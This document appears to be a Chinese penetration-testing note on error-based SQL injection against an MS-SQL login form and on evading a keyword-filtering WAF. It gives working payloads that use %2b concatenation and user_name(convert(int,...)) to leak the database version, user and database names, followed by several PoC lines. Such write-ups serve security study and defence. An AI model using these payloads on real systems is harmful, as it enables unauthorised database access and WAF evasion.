sqli笔记-基于错误的SQL注入与WAF绕过

正文

测试的是登陆功能,此功能会向数据库发送查询的请求,这里我们仔细来看一下,获取我的数据并通过 POST 请求发送。

工具使用的是Burp Suite,这里拦截了请求并将其发送到repeater:

作为 SQL 查询的常规方法，首先需要使用单引号或双引号来进行测试:

email=qaramany'

查看响应,在第 4173 行收到此错误，因此我只是搜索此错误以获取有关与之交互的数据库的更多信息。

直接google搜索一下 error No.: 2147217900这个错误就会知道:

发现使用的是 MS-SQL 数据库进行了基于错误的 SQL 注入,比较麻烦的是暂时没找到任何漏洞利用;

因为这里针对“select”或“order by”等关键字有过滤,这意味着“+select”可能被过滤并返回 500  错误,这是经过50多次的重放,才弄清楚的WAF 逻辑;

所以不能注入一个" select "或" order by "或" group by " 或任何可选的基于错误的攻击向量，当你注入包含上述表达式的查询的时候通常被WAF拦截。

使用%2b字符连接字符串作为bypass。%2B是+的编码

因此，将它与特定函数调用的结果一起使用，这些函数调用会触发对所需数据的数据类型转换错误。

我们现在可以通过一些函数绕过。

类似下面的:

• SUSER_NAME()
• USER_NAME()
• PERMISSIONS()
• DB_NAME()
• FILE_NAME()
• TYPE_NAME()
• COL_NAME()

payload如下:

qaramany'%2buser_name(@@version)

这个payload可以查出数据库的版本

• qaramany: 这是我的名字
• ':触发错误的单引号
• %2b:是+的编码
• User_name():在寻找的数据上触发数据类型转换错误的函数调用

有时我们会得到500错误，所以基于相同的方法创建有效载荷

qaramany'%2buser_name(convert(int,(SYSTEM_USER)))--

这绕过了获取SYSTEM_USER的WAF

一些poc如下:

qaramany’%2buser_name(convert(int,(SESSION_USER))) — 
qaramany’%2buser_name(UPPER(‘sql+tutorial+is+fun!’)) — 
qaramany’%2buser_name(IIF(5=4,+’YES’,+’HackedBy_c0nqr0r&0x4m’)) — 
qaramany’%2buser_name(convert(int,(db_name()))) —

总结

本文是针对 在注入" select "或" order by "或" group by " 或任何可选的基于错误的攻击向量的时候,被WAF拦截的时候的一些思路.